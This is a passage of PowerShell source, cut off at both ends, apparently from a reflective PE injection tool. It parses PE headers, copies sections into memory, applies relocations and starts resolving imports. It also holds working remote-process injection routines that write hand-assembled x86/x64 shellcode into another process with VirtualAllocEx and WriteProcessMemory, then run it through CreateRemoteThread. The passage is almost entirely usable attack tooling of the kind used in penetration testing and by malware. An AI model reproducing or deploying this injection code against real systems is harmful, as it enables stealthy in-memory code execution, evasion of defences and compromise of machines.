-Value $true\n        }\n        else\n        {\n            $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)\n            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32\n            $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false\n        }\n\n        return $NtHeadersInfo\n    }\n\n\n    #This function will get the information needed to allocated space in memory for the PE\n    Function Get-PEBasicInfo\n    {\n        Param(\n        [Parameter( Position = 0, Mandatory = $true )]\n        [Byte[]]\n        $PEBytes,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Types\n        )\n\n        $PEInfo = New-Object System.Object\n\n        #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.\n        [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)\n        [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null\n\n        #Get NtHeadersInfo\n        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types\n\n        #Build a structure with the information which will be needed for allocating memory and writing the PE to memory\n        $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)\n\n        #Free the memory allocated above, this isn't where we allocate the PE to memory\n        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)\n\n        return $PEInfo\n    }\n\n\n    #PEInfo must contain the following NoteProperties:\n    #   PEHandle: An IntPtr to the address the PE is loaded to in memory\n    Function Get-PEDetailedInfo\n    {\n        Param(\n        [Parameter( Position = 0, Mandatory = $true)]\n        [IntPtr]\n        $PEHandle,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Types,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants\n        )\n\n        if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)\n        {\n            throw 'PEHandle is null or IntPtr.Zero'\n        }\n\n        $PEInfo = New-Object System.Object\n\n        #Get NtHeaders information\n        $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types\n\n        #Build the PEInfo object\n        $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle\n        $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)\n        $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)\n\n        if ($PEInfo.PE64Bit -eq $true)\n        {\n            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))\n            $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr\n        }\n        else\n        {\n            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))\n            $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr\n        }\n\n        if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)\n        {\n            $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'\n        }\n        elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)\n        {\n            $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'\n        }\n        else\n        {\n            Throw \"PE file is not an EXE or DLL\"\n        }\n\n        return $PEInfo\n    }\n\n    Function Import-DllInRemoteProcess\n    {\n        Param(\n        [Parameter(Position=0, Mandatory=$true)]\n        [IntPtr]\n        $RemoteProcHandle,\n\n        [Parameter(Position=1, Mandatory=$true)]\n        [IntPtr]\n        $ImportDllPathPtr\n        )\n\n        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])\n\n        $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)\n        $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)\n        $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)\n        if ($RImportDllPathPtr -eq [IntPtr]::Zero)\n        {\n            Throw \"Unable to allocate memory in the remote process\"\n        }\n\n        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero\n        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)\n\n        if ($Success -eq $false)\n        {\n            Throw \"Unable to write DLL path to remote process memory\"\n        }\n        if ($DllPathSize -ne $NumBytesWritten)\n        {\n            Throw \"Didn't write the expected amount of bytes when writing a DLL path to load to the remote process\"\n        }\n\n        $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")\n        $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, \"LoadLibraryA\") #Kernel32 loaded to the same address for all processes\n\n        [IntPtr]$DllAddress = [IntPtr]::Zero\n        #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address\n        #   Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.\n        if ($PEInfo.PE64Bit -eq $true)\n        {\n            #Allocate memory for the address returned by LoadLibraryA\n            $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)\n            if ($LoadLibraryARetMem -eq [IntPtr]::Zero)\n            {\n                Throw \"Unable to allocate memory in the remote process for the return value of LoadLibraryA\"\n            }\n\n            #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)\n            $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)\n            $LoadLibrarySC2 = @(0x48, 0xba)\n            $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)\n            $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)\n\n            $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)\n            $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)\n            $SCPSMemOriginal = $SCPSMem\n\n            Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)\n            [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n            Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)\n            [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n            Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)\n            [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n            Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem\n            $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)\n\n            $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)\n            if ($RSCAddr -eq [IntPtr]::Zero)\n            {\n                Throw \"Unable to allocate memory in the remote process for shellcode\"\n            }\n\n            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)\n            if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))\n            {\n                Throw \"Unable to write shellcode to remote process memory.\"\n            }\n\n            $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions\n            $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)\n            if ($Result -ne 0)\n            {\n                Throw \"Call to CreateRemoteThread to call GetProcAddress failed.\"\n            }\n\n            #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory\n            [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)\n            $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)\n            if ($Result -eq $false)\n            {\n                Throw \"Call to ReadProcessMemory failed\"\n            }\n            [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])\n\n            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n        }\n        else\n        {\n            [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions\n            $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)\n            if ($Result -ne 0)\n            {\n                Throw \"Call to CreateRemoteThread to call GetProcAddress failed.\"\n            }\n\n            [Int32]$ExitCode = 0\n            $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)\n            if (($Result -eq 0) -or ($ExitCode -eq 0))\n            {\n                Throw \"Call to GetExitCodeThread failed\"\n            }\n\n            [IntPtr]$DllAddress = [IntPtr]$ExitCode\n        }\n\n        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n\n        return $DllAddress\n    }\n\n    Function Get-RemoteProcAddress\n    {\n        Param(\n        [Parameter(Position=0, Mandatory=$true)]\n        [IntPtr]\n        $RemoteProcHandle,\n\n        [Parameter(Position=1, Mandatory=$true)]\n        [IntPtr]\n        $RemoteDllHandle,\n\n        [Parameter(Position=2, Mandatory=$true)]\n        [IntPtr]\n        $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing)\n\n        [Parameter(Position=3, Mandatory=$true)]\n        [Bool]\n        $LoadByOrdinal\n        )\n\n        $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])\n\n        [IntPtr]$RFuncNamePtr = [IntPtr]::Zero   #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal\n        #If not loading by ordinal, write the function name to the remote process memory\n        if (-not $LoadByOrdinal)\n        {\n            $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)\n\n            #Write FunctionName to memory (will be used in GetProcAddress)\n            $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)\n            $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)\n            if ($RFuncNamePtr -eq [IntPtr]::Zero)\n            {\n                Throw \"Unable to allocate memory in the remote process\"\n            }\n\n            [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero\n            $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)\n            if ($Success -eq $false)\n            {\n                Throw \"Unable to write DLL path to remote process memory\"\n            }\n            if ($FunctionNameSize -ne $NumBytesWritten)\n            {\n                Throw \"Didn't write the expected amount of bytes when writing a DLL path to load to the remote process\"\n            }\n        }\n        #If loading by ordinal, just set RFuncNamePtr to be the ordinal number\n        else\n        {\n            $RFuncNamePtr = $FunctionNamePtr\n        }\n\n        #Get address of GetProcAddress\n        $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")\n        $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, \"GetProcAddress\") #Kernel32 loaded to the same address for all processes\n\n        #Allocate memory for the address returned by GetProcAddress\n        $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)\n        if ($GetProcAddressRetMem -eq [IntPtr]::Zero)\n        {\n            Throw \"Unable to allocate memory in the remote process for the return value of GetProcAddress\"\n        }\n\n        #Write Shellcode to the remote process which will call GetProcAddress\n        #Shellcode: GetProcAddress.asm\n        [Byte[]]$GetProcAddressSC = @()\n        if ($PEInfo.PE64Bit -eq $true)\n        {\n            $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)\n            $GetProcAddressSC2 = @(0x48, 0xba)\n            $GetProcAddressSC3 = @(0x48, 0xb8)\n            $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)\n            $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)\n        }\n        else\n        {\n            $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)\n            $GetProcAddressSC2 = @(0xb9)\n            $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)\n            $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)\n            $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)\n        }\n        $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)\n        $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)\n        $SCPSMemOriginal = $SCPSMem\n\n        Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n        Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n        Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n        Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)\n        [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)\n        Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem\n        $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)\n\n        $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)\n        if ($RSCAddr -eq [IntPtr]::Zero)\n        {\n            Throw \"Unable to allocate memory in the remote process for shellcode\"\n        }\n        [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero\n        $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)\n        if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))\n        {\n            Throw \"Unable to write shellcode to remote process memory.\"\n        }\n\n        $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions\n        $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)\n        if ($Result -ne 0)\n        {\n            Throw \"Call to CreateRemoteThread to call GetProcAddress failed.\"\n        }\n\n        #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory\n        [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)\n        $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)\n        if (($Result -eq $false) -or ($NumBytesWritten -eq 0))\n        {\n            Throw \"Call to ReadProcessMemory failed\"\n        }\n        [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])\n\n        #Cleanup remote process memory\n        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n        $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n\n        if (-not $LoadByOrdinal)\n        {\n            $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null\n        }\n\n        return $ProcAddress\n    }\n\n\n    Function Copy-Sections\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [Byte[]]\n        $PEBytes,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $PEInfo,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [System.Object]\n        $Win32Types\n        )\n\n        for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)\n        {\n            [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))\n            $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)\n\n            #Address to copy the section to\n            [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))\n\n            #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated\n            #    in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If\n            #    SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away,\n            #    so truncate SizeOfRawData to VirtualSize\n            $SizeOfRawData = $SectionHeader.SizeOfRawData\n\n            if ($SectionHeader.PointerToRawData -eq 0)\n            {\n                $SizeOfRawData = 0\n            }\n\n            if ($SizeOfRawData -gt $SectionHeader.VirtualSize)\n            {\n                $SizeOfRawData = $SectionHeader.VirtualSize\n            }\n\n            if ($SizeOfRawData -gt 0)\n            {\n                Test-MemoryRangeValid -DebugString \"Copy-Sections::MarshalCopy\" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null\n                [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData)\n            }\n\n            #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space\n            if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize)\n            {\n                $Difference = $SectionHeader.VirtualSize - $SizeOfRawData\n                [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData))\n                Test-MemoryRangeValid -DebugString \"Copy-Sections::Memset\" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null\n                $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null\n            }\n        }\n    }\n\n\n    Function Update-MemoryAddresses\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [System.Object]\n        $PEInfo,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [Int64]\n        $OriginalImageBase,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [System.Object]\n        $Win32Types\n        )\n\n        [Int64]$BaseDifference = 0\n        $AddDifference = $true #Track if the difference variable should be added or subtracted from variables\n        [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION)\n\n        #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do\n        if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) `\n                -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0))\n        {\n            return\n        }\n\n\n        elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true)\n        {\n            $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle)\n            $AddDifference = $false\n        }\n        elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true)\n        {\n            $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase)\n        }\n\n        #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified\n        [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress))\n        while($true)\n        {\n            #If SizeOfBlock == 0, we are done\n            $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION)\n\n            if ($BaseRelocationTable.SizeOfBlock -eq 0)\n            {\n                break\n            }\n\n            [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress))\n            $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2\n\n            #Loop through each relocation\n            for($i = 0; $i -lt $NumRelocations; $i++)\n            {\n                #Get info for this relocation\n                $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i)))\n                [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16])\n\n                #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase\n                [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF\n                [UInt16]$RelocType = $RelocationInfo -band 0xF000\n                for ($j = 0; $j -lt 12; $j++)\n                {\n                    $RelocType = [Math]::Floor($RelocType / 2)\n                }\n\n                #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit.\n                #This appears to be true for EXE's as well.\n                #   Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx\n                if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) `\n                        -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64))\n                {\n                    #Get the current memory address and update it based off the difference between PE expected base address and actual base address\n                    [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset))\n                    [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr])\n\n                    if ($AddDifference -eq $true)\n                    {\n                        [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))\n                    }\n                    else\n                    {\n                        [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference))\n                    }\n\n                    [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null\n                }\n                elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE)\n                {\n                    #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it\n                    Throw \"Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo\"\n                }\n            }\n\n            $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock))\n        }\n    }\n\n\n    Function Import-DllImports\n    {\n        Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [System.Object]\n        $PEInfo,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [System.Object]\n        $Win32Functions,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [System.Object]\n        $Win32Types,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [System.Object]\n        $Win32Constants,\n\n        [Parameter(Position = 4, Mandatory = $false)]\n        [IntPtr]\n        $RemoteProcHandle\n        )\n\n        $RemoteLoading = $false\n        if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle)\n        {\n            $RemoteLoading = $true\n        }\n\n        if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)\n        {\n            [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)\n\n            while ($true)\n            {\n                $ImportDescriptor = 